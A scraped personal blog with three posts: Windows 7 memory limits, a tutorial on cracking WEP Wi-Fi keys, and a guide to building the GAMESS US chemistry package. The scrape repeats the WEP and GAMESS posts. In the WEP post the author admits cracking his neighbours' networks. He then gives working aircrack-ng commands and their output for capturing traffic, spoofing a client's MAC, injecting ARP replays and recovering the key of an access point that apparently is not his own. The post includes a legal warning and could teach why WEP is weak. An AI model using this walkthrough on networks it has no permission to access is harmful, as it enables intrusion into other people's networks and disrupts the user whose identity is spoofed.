I don't normally care about windows or mac. It's been a long time since I bothered converting people to linux, and I read news about windows like I would read news about BSD -- with only mild interest.
But since I recently upgraded one of my nodes to 32 GB RAM I spent some time googling about what things I could do with it (the purpose of all that ram is computational chemistry -- in particular frequency calculations) and stumbled across a post: http://forums.anandtech.com/showthread.php?t=2234771
The thread is called: "How much RAM is too much?", and someone answered "193 gb", which turned out to be a reference to the artificially imposed limits on windows 7: http://www.zdnet.com/blog/hardware/max-memory-limits-for-64-bit-windows-7/4254
Apparently you can use 8 gb for the lower end, 16 gb for 'normal' home use, and 192 gb for the high end versions. I guess the fact that there's a 192 gb limit at all (I don't think there are any single-board boxes that can take much more than 64 gb, or possibly 128 gb, at the moment) is to avoid a repeat of XP, where the OS stopped making MS money long after they had tried to deprecate it.
The number of physical cpus is limited to 1 for the low end and 2 for the 'professional' versions. When it comes to logical cores it's 32 for 32 bit and 256 for 64 bit.
I'm not sure if the latter is an artificial or real limit, but the former certainly is artifically imposed.
Oh well, doesn't hurt being reminded every now and again about the frankly absurd things that the commercial world of software comes up with. You don't often get 'pro' versions in the FOSS world...
29 October 2012
269. Your neighbours' WEP wifi and you
A few years ago when I was living in an apartment block mainly inhabited by university students I took to cracking the passwords to my neighbours' WEP 'protected' wifi networks whenever I got bored -- the cracking WEP doesn't require much either in terms of brain or brawn, so it's admittedly not much of an accomplishment.
I'm writing this based off of notes I wrote a long time ago to teach people in the lab how to do various 'interesting' things with computers. Partly because even as a chemist you need to be able to -- you encounter the odd computer with a windows password or bios password which has been forgotten with time, but which is in a critical role, e.g. controlling an expensive instrument. Also, a fair number of research groups run their own wireless networks, and a lot of group leaders are barely computer literate. My pet theory is that this explains why so many of my colleagues use Macintosh...
So here's how to deal with WEP. The legality of this isn't questionable -- it is illegal to hack OTHER people's networks in most jurisdictions.
But here's a thought -- set up your own network and crack it for fun. Once you realise how easy it is you'll never look at WEP the same way again. You'll also understand why using a hidden SSID and MAC filtering doesn't do much to protect you.
Also, you'll most likely realise a few things which you can do to make it a little bit more troublesome to hack a WEP network (eventually it'll fall -- as will of course WPA2, although that's often requires brute force cracking which can take anything from 1 s to millenia)
DON"T GET YOURSELF IN TROUBLE BY BREAKING THE LAW. Also, be nice to your neighbours.
Anyway, WEP.
You'll need aircrack-ng and you might want kismet.
Kismet is available in the repos
You will need to edit /etc/kismet/kismet.conf to set it up for your particular wireless card. I've got a Sabrent High-power wireless-N USB device with a nice little antenna:
So I put the following in my /etc/kismet/kismet.conf
Use kismet to snoop for WEP wifi's and then get lists of associate clients:
Once you've started it, hit s to sort, and w to sort by wep/wpa. Select the network you're interested in and hit i for information and c for a list of attached clients (good to know if they have MAC based filtering). Capital Q exits.
Note that you don't really NEED kismet. It just happens to be a good tool, so if you're stuck with figuring out how to set it up, you can skip this section.
Anyway, I found an AP with a bssid of 00:1D:92:16:XX:XX (Micro-Star Int'l Co Ltd) and a number associated clients, including one with a MAC of 00:04:ED:91:17:XX (Billion Electric C). The AP is using channel 1.
You do need Aircrack-ng.
Edit common.mak and change
to
Compile and install:
You might get a fair bit of errors about variables being set (e.g. ndiswrapper) but not used. No worries.
If you were using network-manager you would now turn it off:
If you're using your wirless card (i.e. have it set up) there's a long list of other things which may need to be stopped:
But if you haven't configured you external USB card and you're not using network-manager you don't need to stop anything e.g. I only use my sabrent card for kismet and aircrack so I don't need to stop anything.
We need a directory to work in:
Time to set up your card in monitoring mode (wlan2 is my sabrent, wlan0 is my wicd-controlled internal laptop wifi):
The attack
A. Anyway, using kismet we earlier found an AP with a bssid of 00:1D:92:16:XX:XX (Micro-Star Int'l Co Ltd) and a number associated clients, including one with a MAC of 00:04:ED:91:17:XX (Billion Electric C) and another with 00:13:E8:8E:46:XX (Intel). The AP is using channel 1.
If you get a message about the channel being fixed, then you failed to stop something earlier (e.g. dhclient, wpa_supplicant). If all went well you'll be looking at something like this:
Important things here:
1. Make sure you're listening to the right channel (first row)
2. The MAC addresses listed under 'STATION' are connected clients. Good to know if you want to do mac spoofing.
3. The Data column is what you will want to keep your eyes on. These are the data packets which you're after and which will help you crack the WEP password.
In theory this is all you need to do, and you could just go away for an hour or two while you're passively collecting data. In most cases, you will want to speed things up, however.
B. To do that, in a second terminal run:
It should also now be obvious to you that filtering your wireless based on MAC really doesn't protect your network at all -- as soon as a client connects you've give a useable MAC address away. Same goes for hidden SSIDs. Your ONLY recourse is choosing a good password and not using WEP.
C. Once you've started capturing data (see A) you can start cracking:
In a fourth terminal run the following (and leave it running -- it'll preiodically re-run when there's enough new data)
And that's how easy WEP is to break. Don't use it.
I'm writing this based off of notes I wrote a long time ago to teach people in the lab how to do various 'interesting' things with computers. Partly because even as a chemist you need to be able to -- you encounter the odd computer with a windows password or bios password which has been forgotten with time, but which is in a critical role, e.g. controlling an expensive instrument. Also, a fair number of research groups run their own wireless networks, and a lot of group leaders are barely computer literate. My pet theory is that this explains why so many of my colleagues use Macintosh...
So here's how to deal with WEP. The legality of this isn't questionable -- it is illegal to hack OTHER people's networks in most jurisdictions.
But here's a thought -- set up your own network and crack it for fun. Once you realise how easy it is you'll never look at WEP the same way again. You'll also understand why using a hidden SSID and MAC filtering doesn't do much to protect you.
Also, you'll most likely realise a few things which you can do to make it a little bit more troublesome to hack a WEP network (eventually it'll fall -- as will of course WPA2, although that's often requires brute force cracking which can take anything from 1 s to millenia)
DON"T GET YOURSELF IN TROUBLE BY BREAKING THE LAW. Also, be nice to your neighbours.
Anyway, WEP.
You'll need aircrack-ng and you might want kismet.
Kismet is available in the repos
sudo apt-get install kismet
You will need to edit /etc/kismet/kismet.conf to set it up for your particular wireless card. I've got a Sabrent High-power wireless-N USB device with a nice little antenna:
Bus 002 Device 003: ID 148f:2870 Ralink Technology, Corp. RT2870 Wireless Adapter
So I put the following in my /etc/kismet/kismet.conf
source=rt73,wlan1,expt
Use kismet to snoop for WEP wifi's and then get lists of associate clients:
sudo kismet
Once you've started it, hit s to sort, and w to sort by wep/wpa. Select the network you're interested in and hit i for information and c for a list of attached clients (good to know if they have MAC based filtering). Capital Q exits.
Note that you don't really NEED kismet. It just happens to be a good tool, so if you're stuck with figuring out how to set it up, you can skip this section.
Anyway, I found an AP with a bssid of 00:1D:92:16:XX:XX (Micro-Star Int'l Co Ltd) and a number associated clients, including one with a MAC of 00:04:ED:91:17:XX (Billion Electric C). The AP is using channel 1.
You do need Aircrack-ng.
wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz tar xvf aircrack-ng-1.1.tar.gz cd aircrack-ng-1.1/
Edit common.mak and change
70 CFLAGS ?= -g -W -Wall -Werror -O3
to
70 CFLAGS ?= -g -W -Wall -O3
Compile and install:
make
sudo make install
You might get a fair bit of errors about variables being set (e.g. ndiswrapper) but not used. No worries.
If you were using network-manager you would now turn it off:
sudo service network-manager stop
If you're using your wirless card (i.e. have it set up) there's a long list of other things which may need to be stopped:
ps aux|grep dhclient ps aux|grep wpa_supplicant sudo service wicd stop
sudo service avahi-daemon stop
But if you haven't configured you external USB card and you're not using network-manager you don't need to stop anything e.g. I only use my sabrent card for kismet and aircrack so I don't need to stop anything.
We need a directory to work in:
mkdir ~/airscan
cd ~/airscan
Time to set up your card in monitoring mode (wlan2 is my sabrent, wlan0 is my wicd-controlled internal laptop wifi):
sudo airmon-ng start wlan2Check that there's a monX interface:Found 4 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! -e PID Name 2877 avahi-daemon 2878 avahi-daemon 4813 wpa_supplicant 4888 dhclient Process with PID 4813 (wpa_supplicant) is running on interface wlan0 Process with PID 4888 (dhclient) is running on interface wlan0 Interface Chipset Driver wlan2 Ralink RT2870/3070 rt2800usb - [phy1] (monitor mode enabled on mon0) wlan0 Unknown iwlwifi - [phy0]
sudo ifconfigIf you didn't use e.g. kismet above you can now scan the local environment using aireplay-ng (sudo aireplay-ng -9 mon0), although it often doesn't pick up all the networks which are accessible.mon0 Link encap:UNSPEC HWaddr 00-0D-0A-53-19-XX-3A-30-00-00-00-00-00-00-00-00 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:238 errors:0 dropped:238 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:16279 (15.8 KiB) TX bytes:0 (0.0 B
The attack
A. Anyway, using kismet we earlier found an AP with a bssid of 00:1D:92:16:XX:XX (Micro-Star Int'l Co Ltd) and a number associated clients, including one with a MAC of 00:04:ED:91:17:XX (Billion Electric C) and another with 00:13:E8:8E:46:XX (Intel). The AP is using channel 1.
sudo airodump-ng -c 1 --bssid 00:1D:92:16:XX:XX -w output mon0
If you get a message about the channel being fixed, then you failed to stop something earlier (e.g. dhclient, wpa_supplicant). If all went well you'll be looking at something like this:
CH 1 ][ Elapsed: 0 s ][ 2012-10-28 18:37 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSI 00:1D:92:16:XX:XX -76 0 30 7 1 1 54e WEP WEP BSSID STATION PWR Rate Lost Packets Probes 00:1D:92:16:XX:XX 00:13:E8:8E:46:XX -77 2 -12e 1 5
Important things here:
1. Make sure you're listening to the right channel (first row)
2. The MAC addresses listed under 'STATION' are connected clients. Good to know if you want to do mac spoofing.
3. The Data column is what you will want to keep your eyes on. These are the data packets which you're after and which will help you crack the WEP password.
In theory this is all you need to do, and you could just go away for an hour or two while you're passively collecting data. In most cases, you will want to speed things up, however.
B. To do that, in a second terminal run:
sudo aireplay-ng -1 0 -a 00:1D:92:16:XX:XX -h 00:13:E8:8E:46:XX mon0 --ignore-negative-oneand in a third terminal doingThe interface MAC (00:0D:0A:53:19:XX) doesn't match the specified MAC (-h). ifconfig mon0 hw ether 00:13:E8:8E:46:XX 18:39:40 Waiting for beacon frame (BSSID: 00:1D:92:16:XX:XX) on channel 1 18:39:40 Sending Authentication Request (Open System) 18:39:42 Sending Authentication Request (Open System) 18:39:44 Sending Authentication Request (Open System) 18:39:46 Sending Authentication Request (Open System) 18:39:48 Sending Authentication Request (Open System) 18:39:48 Authentication successful 18:39:48 Sending Association Request 18:39:48 Association successful :-) (AID: 1)
sudo aireplay-ng -3 -b 00:1D:92:16:XX:XX -h 00:13:E8:8E:46:XX mon0 --ignore-negative-oneTo be honest I don't know what the effect of this is like on the user whose MAC you are spoofing. I tend to stir things up for five minutes, then stop, wait ten minutes, then another five minutes, and it works quite ok. Also, sometimes you get higher data rates when you're NOT trying to push it. Each network is a little bit different.The interface MAC (00:0D:0A:53:19:XX) doesn't match the specified MAC (-h). ifconfig mon0 hw ether 00:13:E8:8E:46:XX 18:53:56 Waiting for beacon frame (BSSID: 00:1D:92:16:XX:XX) on channel 1 Saving ARP requests in replay_arp-1028-185356.cap You should also start airodump-ng to capture replies. Read 16660 packets (got 3 ARP requests and 18 ACKs), sent 7334 packets...(500 pps)
It should also now be obvious to you that filtering your wireless based on MAC really doesn't protect your network at all -- as soon as a client connects you've give a useable MAC address away. Same goes for hidden SSIDs. Your ONLY recourse is choosing a good password and not using WEP.
C. Once you've started capturing data (see A) you can start cracking:
In a fourth terminal run the following (and leave it running -- it'll preiodically re-run when there's enough new data)
sudo aircrack-ng -b 00:1D:92:16:XX:XX output*.capTypically you won't have much luck until you have 5-20k IVs. Sometimes that's quick and easy (I've cracked APs in 3-4 minutes), sometimes it's slow and cumbersome (can take hours doing passive snooping).Aircrack-ng 1.1 r1892 [01:49:20] Tested 27854 keys (got 10135 IVs) KB depth byte(vote) 0 0/ 24 6D(14592) A1(14592) D2(14592) 9E(14336) BA(14336) 26(14080) 13(13824) B4(13824) AE(13312) B2(13312) DF(13056) 1 3/ 5 93(14080) CE(13568) 4C(13312) 7E(13312) 93(13312) E6(13312) 16(13056) BB(13056) E3(13056) F0(13056) 17(12800) 2 2/ 3 67(15104) 57(13824) B8(13568) 22(13312) 4B(13312) B3(13312) EB(13312) 73(13056) 76(13056) C0(13056) D7(13056) 3 1/ 12 69(14848) 71(14592) 30(14592) 96(14080) A4(13568) 1D(13568) 35(13568) 8F(13312) B8(13056) E4(13056) 5F(13056) 4 4/ 8 63(13824) 2E(13568) E6(13568) ED(13568) 80(13312) AD(13312) C6(13312) EC(13312) 1C(12800) 21(12800) 7A(12800) KEY FOUND! [ 6D:61:67:69:63 ] (ASCII: magic ) Decrypted correctly: 100%
And that's how easy WEP is to break. Don't use it.
28 October 2012
268. Compiling and testing GAMESS US on debian testing (wheezy)
Update 3: 9 May 2013. Fixed a couple of mistakes e.g. related to mpi. I also switched from ATLAS to acml -- when I build with ATLAS a lot of the example inputs do not converge.
Update 2: Pietro (see posts below) identified some odd behaviour when running test exam44 in which the scf failed to converge. The (temporary) fix for that has been included in the instructions below (change line 1664 in the file 'comp') -- most likely it's only a single file which needs to be compiled with -O0, but it will take a while to identify which one that is. Having to use -O0 on a performance critical piece of software is obviously unfortunate.
Update:
I've done this on ROCKS 5.4.3/ Centos 5.6 as well. Be aware that because of the ancient version of gfortran (4.1.2) on ROCKS there will be some limitations:
Original post:
Solvation energies using implicit solvation is a tough nut to crack. I like working with NWChem, but there's only one solvation model (COSMO) implemented, it has had a history of giving results which are wildly different (>20 kcal/mol! It's fixed now -- using b3lyp/6-311++g** with the cosmo parameters in that post I got 63.68 kcal/mol for Cl-) from that of other software packages (partly due to a bug which was fixed in 2011), and I'm still not sure how to properly use the COSMO module (is rsolv 0 a reasonable value?). Obviously, my own unfamiliarity with the method is another issue, but that's where the idea of sane defaults come in. So, time to test and compare with other models. Reading Cramer, C. J.; Truhlar, D. G. A Acc. Chem. Res. 2008, 41, 760–768 got me interested in GAMESS US again.
Gaussian is not really an attractive option for me anymore for performance reasons (caveat: as seen by me on my particular systems using precompiled binaries). Free (source code + cost) is obviously also always attractive. Being a linux sort of person also plays into it.
So, here's how to get your cluster set up for gamess US:
1. Go to http://www.msg.chem.iastate.edu/GAMES S/download/register/
Select agree, then pick your version -- in my case
GAMESS version May 1, 2012 R1 for 64 bit (x86_64 compatible) under Linux with gnu compilers
Once you've completed your order you're told you may have to wait for up to a week before your registration is approved, but I got approved in less than 24 hours.
[2. Register for GAMESSPLUS at http://comp.chem.umn.edu/license/form-user.html
Again, it may take a little while to get approved -- in my case it was less than 24 hours. Also, it seems that you don't need a separate GAMESSPLUS anymore]
3. Download gamess-current.tar.gz as per the instructions and put it in /opt/gamess (once you've created the folder)
4. If you're using AMD you're in luck -- set up acml on your system. In my case I put everything in /opt/acml/acml5.2.0
I've had bad luck with ATLAS.
5. Compile
The lengthy autoconfigure.
Note that
* the location of your openmpi libs may vary -- the debian libs are put in /usr/bin/openmpi/lib by default, but I'm using my own compiled version which I've put in /opt/openmpi
* gamess is linked against the static libraries by default, so if you compiled atlas as is described elsewhere on this blog, you'll be fine.
I next did this:
Edit the file 'comp' and change it from
or test case exam44.inp in tests/standard will fail due to lack of SCF convergence. (I've tried -O1 as well with no luck)
Continue your compilation:
./compall
Running 'compall' reads "install.info" which I include below:
Anyway, compilation will take a while -- enough for some coffee and reading.
In the next step you may have problems with openmpi -- lked looks in e.g. /opt/openmpi/1.6/lib64 but you'll probably only have /opt/openmpi/1.6/lib
Edit lked and change
Generate the runtime file:
./lked gamess 12r1 >& lked.log
Done!
To compile with openblas:
1. edit install.info
#!/bin/csh
2. edit lked
Add lines 462-466 which sets up the openblas switch.
./lked gamess 12r2 >& lked.log
You now have gamess.12r1.x which uses ATLAS, and gamess.12r2.x which uses openblas.
To run:
The rungms file was a bit too 'clever' for me, so I boiled it down to a file called gmrun which made executable (chmod +X gmrun) and put in /opt/gamess:
Note that I actually do have two scratch directories -- one ~/scratch and one in /scratch. Note that the SCR directory should be local to the node as well as spacious, while USERSCR can be a networked,smaller directory.
Finally do
echo 'export PATH=$PATH:/opt/gamess' >> ~/.bashrc
Anyway.
Navigate to your tests/standard folder where there's a lot of exam*.inp files and do
gmrun exam12 12r1 4
where exam01 (or exam01.inp) is the name of the input file, 12r1 is the version number (that you set above) and 4 is the number of processors/threads .
Done!
Looking at another test case (acetate w/ cosmo) I get the following scaling on a single node as a function of processors:
shmmax issue:
Anyone who has been using nwchem will be familiar with this
and look at the value. Then set it to the desired value according to this post: http://verahill.blogspot.com.au/2012/04/solution-to-nwchem-shmmax-too-small.html
e.g.
sudo sysctl -w kernel.shmmax=6269961216
gfortran version issue:
Even though you likely have version 4.7.x of gfortran, pick 4.6 or you will get:
The reason is this (code from config):
Update 2: Pietro (see posts below) identified some odd behaviour when running test exam44 in which the scf failed to converge. The (temporary) fix for that has been included in the instructions below (change line 1664 in the file 'comp') -- most likely it's only a single file which needs to be compiled with -O0, but it will take a while to identify which one that is. Having to use -O0 on a performance critical piece of software is obviously unfortunate.
Update:
I've done this on ROCKS 5.4.3/ Centos 5.6 as well. Be aware that because of the ancient version of gfortran (4.1.2) on ROCKS there will be some limitations:
Alas, your version of gfortran does not support REAL*16, so relativistic integrals cannot use quadruple precision. Other than this, everything will work properly.Other than that, follow the instructions below (including editing lked)
Original post:
Solvation energies using implicit solvation is a tough nut to crack. I like working with NWChem, but there's only one solvation model (COSMO) implemented, it has had a history of giving results which are wildly different (>20 kcal/mol! It's fixed now -- using b3lyp/6-311++g** with the cosmo parameters in that post I got 63.68 kcal/mol for Cl-) from that of other software packages (partly due to a bug which was fixed in 2011), and I'm still not sure how to properly use the COSMO module (is rsolv 0 a reasonable value?). Obviously, my own unfamiliarity with the method is another issue, but that's where the idea of sane defaults come in. So, time to test and compare with other models. Reading Cramer, C. J.; Truhlar, D. G. A Acc. Chem. Res. 2008, 41, 760–768 got me interested in GAMESS US again.
Gaussian is not really an attractive option for me anymore for performance reasons (caveat: as seen by me on my particular systems using precompiled binaries). Free (source code + cost) is obviously also always attractive. Being a linux sort of person also plays into it.
So, here's how to get your cluster set up for gamess US:
1. Go to http://www.msg.chem.iastate.edu/GAMES S/download/register/
Select agree, then pick your version -- in my case
GAMESS version May 1, 2012 R1 for 64 bit (x86_64 compatible) under Linux with gnu compilers
Once you've completed your order you're told you may have to wait for up to a week before your registration is approved, but I got approved in less than 24 hours.
[2. Register for GAMESSPLUS at http://comp.chem.umn.edu/license/form-user.html
Again, it may take a little while to get approved -- in my case it was less than 24 hours. Also, it seems that you don't need a separate GAMESSPLUS anymore]
3. Download gamess-current.tar.gz as per the instructions and put it in /opt/gamess (once you've created the folder)
4. If you're using AMD you're in luck -- set up acml on your system. In my case I put everything in /opt/acml/acml5.2.0
I've had bad luck with ATLAS.
5. Compile
sudo apt-get install build-essential gfortran openmpi-bin libopenmpi-dev libboost-all-dev sudo mkdir /opt/gamess sudo chown $USER /opt/gamess cd /opt/gamess tar xvf gamess-current.tar.gz cd gamess/
You're now ready to autoconfigure.
The lengthy autoconfigure.
Note that
* the location of your openmpi libs may vary -- the debian libs are put in /usr/bin/openmpi/lib by default, but I'm using my own compiled version which I've put in /opt/openmpi
* gamess is linked against the static libraries by default, so if you compiled atlas as is described elsewhere on this blog, you'll be fine.
./config This script asks a few questions, depending on your computer system, to set up compiler names, libraries, message passing libraries, and so forth. You can quit at any time by pressing control-C, and then. Please open a second window by logging into your target machine, in case this script asks you to 'type' a command to learn something about your system software situation. All such extra questions will use the word 'type' to indicate it is a command for the other window. After the new window is open, please hit to go on. GAMESS can compile on the following 32 bit or 64 bit machines: axp64 - Alpha chip, native compiler, running Tru64 or Linux cray-xt - Cray's massively parallel system, running CNL hpux32 - HP PA-RISC chips (old models only), running HP-UX hpux64 - HP Intel or PA-RISC chips, running HP-UX ibm32 - IBM (old models only), running AIX ibm64 - IBM, Power3 chip or newer, running AIX or Linux ibm64-sp - IBM SP parallel system, running AIX ibm-bg - IBM Blue Gene (P or L model), these are 32 bit systems linux32 - Linux (any 32 bit distribution), for x86 (old systems only) linux64 - Linux (any 64 bit distribution), for x86_64 or ia64 chips AMD/Intel chip Linux machines are sold by many companies mac32 - Apple Mac, any chip, running OS X 10.4 or older mac64 - Apple Mac, any chip, running OS X 10.5 or newer sgi32 - Silicon Graphics Inc., MIPS chip only, running Irix sgi64 - Silicon Graphics Inc., MIPS chip only, running Irix sun32 - Sun ultraSPARC chips (old models only), running Solaris sun64 - Sun ultraSPARC or Opteron chips, running Solaris win32 - Windows 32-bit (Windows XP, Vista, 7, Compute Cluster, HPC Edition) win64 - Windows 64-bit (Windows XP, Vista, 7, Compute Cluster, HPC Edition) winazure - Windows Azure Cloud Platform running Windows 64-bit type 'uname -a' to partially clarify your computer's flavor. please enter your target machine name: linux64 Where is the GAMESS software on your system? A typical response might be /u1/mike/gamess, most probably the correct answer is /home/me/tmp/gamess GAMESS directory? [/opt/gamess] /opt/gamess Setting up GAMESS compile and link for GMS_TARGET=linux64 GAMESS software is located at GMS_PATH=/home/me/tmp/gamess Please provide the name of the build locaation. This may be the same location as the GAMESS directory. GAMESS build directory? [/opt/gamess] /opt/gamess Please provide a version number for the GAMESS executable. This will be used as the middle part of the binary's name, for example: gamess.00.x Version? [00] 12r1 Linux offers many choices for FORTRAN compilers, including the GNU compiler set ('g77' in old versions of Linux, or 'gfortran' in current versions), which are included for free in Unix distributions. There are also commercial compilers, namely Intel's 'ifort', Portland Group's 'pgfortran', and Pathscale's 'pathf90'. The last two are not common, and aren't as well tested as the others. type 'rpm -aq | grep gcc' to check on all GNU compilers, including gcc type 'which gfortran' to look for GNU's gfortran (a very good choice), type 'which g77' to look for GNU's g77, type 'which ifort' to look for Intel's compiler, type 'which pgfortran' to look for Portland Group's compiler, type 'which pathf90' to look for Pathscale's compiler. Please enter your choice of FORTRAN: gfortran gfortran is very robust, so this is a wise choice. Please type 'gfortran -dumpversion' or else 'gfortran -v' to detect the version number of your gfortran. This reply should be a string with at least two decimal points, such as 4.1.2 or 4.6.1, or maybe even 4.4.2-12. The reply may be labeled as a 'gcc' version, but it is really your gfortran version. Please enter only the first decimal place, such as 4.1 or 4.6: 4.6
Linux distributions do not include a standard math library. There are several reasonable add-on library choices, MKL from Intel for 32 or 64 bit Linux (very fast) ACML from AMD for 32 or 64 bit Linux (free) ATLAS from www.rpmfind.net for 32 or 64 bit Linux (free) and one very unreasonable option, namely 'none', which will use some slow FORTRAN routines supplied with GAMESS. Choosing 'none' will run MP2 jobs 2x slower, or CCSD(T) jobs 5x slower. Some typical places (but not the only ones) to find math libraries are Type 'ls /opt/intel/mkl' to look for MKL Type 'ls /opt/intel/Compiler/mkl' to look for MKL Type 'ls /opt/intel/composerxe/mkl' to look for MKL Type 'ls -d /opt/acml*' to look for ACML Type 'ls -d /usr/local/acml*' to look for ACML Type 'ls /usr/lib64/atlas' to look for Atlas Enter your choice of 'mkl' or 'atlas' or 'acml' or 'none': acml Type 'ls -d /opt/acml*' or 'ls -d /usr/local/acml*' and note the the full path, which includes a version number. enter this full pathname: /opt/acml/acml5.2.0 Good, the newest gfortran can compile REAL*16 data type. hit <return> to continue to the math library setup.
Math library 'acml' will be taken from /opt/acml/acml5.2.0/gfortran64_int64/lib please hit <return> to compile the GAMESS source code activator
gfortran -o /home/me/tmp/gamess/build/tools/actvte.x actvte.f unset echo Source code activator was successfully compiled. please hit to set up your network for Linux clusters. If you have a slow network, like Gigabit Ethernet (GE), or if you have so few nodes you won't run extensively in parallel, or if you have no MPI library installed, or if you want a fail-safe compile/link and easy execution, choose 'sockets' to use good old reliable standard TCP/IP networking. If you have an expensive but fast network like Infiniband (IB), and if you have an MPI library correctly installed, choose 'mpi'. communication library ('sockets' or 'mpi')? mpi The MPI libraries which work well on linux64/Infiniband are Intel's MPI (impi) MVAPICH2 SGI's mpt from ProPack, on Altix/ICE systems Other libraries may work, please see 'readme.ddi' for info. The choices listed above will compile and link easily, and are known to run correctly and efficiently. Enter 'sockets' if you just changed your mind about trying MPI. Enter MPI library (impi, mvapich2, mpt, sockets): openmpi
MPI can be installed in many places, so let's find openmpi. The person who installed your MPI can tell you where it really is. impi is probably located at a directory like /opt/intel/impi/3.2 /opt/intel/impi/4.0.1.007 /opt/intel/impi/4.0.2.003 include iMPI's version numbers in your reply below. mvapich2 could be almost anywhere, perhaps some directory like /usr/mpi/gcc/mvapich2-1.6 openmpi could be almost anywhere, perhaps some directory like /usr/mpi/openmpi-1.4.3 mpt is probably located at a directory like /opt/sgi/mpt/mpt-1.26 Please enter your openmpi's location: /opt/openmpi/1.6 Your configuration for GAMESS compilation is now in /home/me/tmp/gamess/build/install.info Now, please follow the directions in /opt/gamess/machines/readme.unix
I next did this:
cd /opt/gamess/ddi
./compddi
cd ../
Edit the file 'comp' and change it from
1664 set OPT='-O2'to
1664 set OPT='-O0'
or test case exam44.inp in tests/standard will fail due to lack of SCF convergence. (I've tried -O1 as well with no luck)
Continue your compilation:
./compall
Running 'compall' reads "install.info" which I include below:
#!/bin/csh # compilation configuration for GAMESS # generated on beryllium # generated at Friday 21 September 08:48:09 EST 2012 setenv GMS_PATH /opt/gamess setenv GMS_BUILD_DIR /opt/gamess # machine type setenv GMS_TARGET linux64 # FORTRAN compiler setup setenv GMS_FORTRAN gfortran setenv GMS_GFORTRAN_VERNO 4.6 # mathematical library setup setenv GMS_MATHLIB acml setenv GMS_MATHLIB_PATH /opt/acml/acml5.2.0//gfortran64_int64/lib # parallel message passing model setup setenv GMS_DDI_COMM mpi setenv GMS_MPI_LIB openmpi setenv GMS_MPI_PATH /opt/openmpi/1.6Note that you can't change the gfortran version here either -- 4.7 won't be recognised.
Anyway, compilation will take a while -- enough for some coffee and reading.
In the next step you may have problems with openmpi -- lked looks in e.g. /opt/openmpi/1.6/lib64 but you'll probably only have /opt/openmpi/1.6/lib
Edit lked and change
958 case openmpi:
959 set MPILIBS="-L$GMS_MPI_PATH/lib64"
960 set MPILIBS="$MPILIBS -lmpi"
961 breaksw
to958 case openmpi: 959 set MPILIBS="-L$GMS_MPI_PATH/lib" 960 set MPILIBS="$MPILIBS -lmpi -lpthread" 961 breaksw
Generate the runtime file:
./lked gamess 12r1 >& lked.log
Done!
To compile with openblas:
1. edit install.info
#!/bin/csh
# compilation configuration for GAMESS # generated on tantalum # generated at Friday 21 September 14:01:54 EST 2012 setenv GMS_PATH /opt/gamess setenv GMS_BUILD_DIR /opt/gamess # machine type setenv GMS_TARGET linux64 # FORTRAN compiler setup setenv GMS_FORTRAN gfortran setenv GMS_GFORTRAN_VERNO 4.6 # mathematical library setup setenv GMS_MATHLIB openblas setenv GMS_MATHLIB_PATH /opt/openblas/lib # parallel message passing model setup setenv GMS_DDI_COMM mpi setenv GMS_MPI_LIB openmpi setenv GMS_MPI_PATH /opt/openmpi/1.6
2. edit lked
Add lines 462-466 which sets up the openblas switch.
453 endif
454 set BLAS=' '
455 breaksw
456
457 case acml:
458 # do a static link so that only compile node needs to install ACML
459 set MATHLIBS="$GMS_MATHLIB_PATH/libacml.a"
460 set BLAS=' '
461 breaksw
462 case openblas:
463 # do a static link so that only compile node needs to install openblas
464 set MATHLIBS="$GMS_MATHLIB_PATH/libopenblas.a"
465 set BLAS=' '
466 breaksw
467
468 case none:
469 default:
470 echo "Warning. No math library was found, you should install one."
471 echo " MP2 calculations speed up about 2x with a math library."
472 echo "CCSD(T) calculations speed up about 5x with a math library."
473 set BLAS='blas.o'
474 set MATHLIBS=' '
475 breaksw
3. Link./lked gamess 12r2 >& lked.log
You now have gamess.12r1.x which uses ATLAS, and gamess.12r2.x which uses openblas.
To run:
The rungms file was a bit too 'clever' for me, so I boiled it down to a file called gmrun which made executable (chmod +X gmrun) and put in /opt/gamess:
#!/bin/csh set TARGET=mpi set SCR=$HOME/scratch set USERSCR=/scratch set GMSPATH=/opt/gamess set JOB=$1 set VERNO=$2 set NCPUS=$3 if ( $JOB:r.inp == $JOB ) set JOB=$JOB:r echo "Copying input file $JOB.inp to your run's scratch directory..." cp $JOB.inp $SCR/$JOB.F05 setenv TRAJECT $USERSCR/$JOB.trj setenv RESTART $USERSCR/$JOB.rst setenv INPUT $SCR/$JOB.F05 setenv PUNCH $USERSCR/$JOB.dat if ( -e $TRAJECT ) rm $TRAJECT if ( -e $PUNCH ) rm $PUNCH if ( -e $RESTART ) rm $RESTART source $GMSPATH/gms-files.csh setenv LD_LIBRARY_PATH /opt/openmpi/1.6/lib:$LD_LIBRARY_PATH set path= ( /opt/openmpi/1.6/bin $path ) /opt/openmpi/1.6/bin/mpiexec -n $NCPUS $GMSPATH/gamess.$VERNO.x|tee $JOB.out cp $PUNCH .
Note that I actually do have two scratch directories -- one ~/scratch and one in /scratch. Note that the SCR directory should be local to the node as well as spacious, while USERSCR can be a networked,smaller directory.
Finally do
echo 'export PATH=$PATH:/opt/gamess' >> ~/.bashrc
Anyway.
Navigate to your tests/standard folder where there's a lot of exam*.inp files and do
gmrun exam12 12r1 4
where exam01 (or exam01.inp) is the name of the input file, 12r1 is the version number (that you set above) and 4 is the number of processors/threads .
